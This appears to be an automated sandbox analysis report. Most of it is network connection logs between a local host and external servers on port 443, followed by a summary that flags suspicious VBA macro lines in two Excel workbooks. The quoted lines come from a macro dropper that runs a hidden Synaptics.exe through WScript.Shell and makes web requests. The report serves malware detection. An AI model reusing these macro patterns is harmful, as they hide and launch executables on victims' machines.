Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.8:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.8:49963 version: TLS 1.2

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: znjZLpXp.xlsm.4.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: NVWZAPQSQL.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
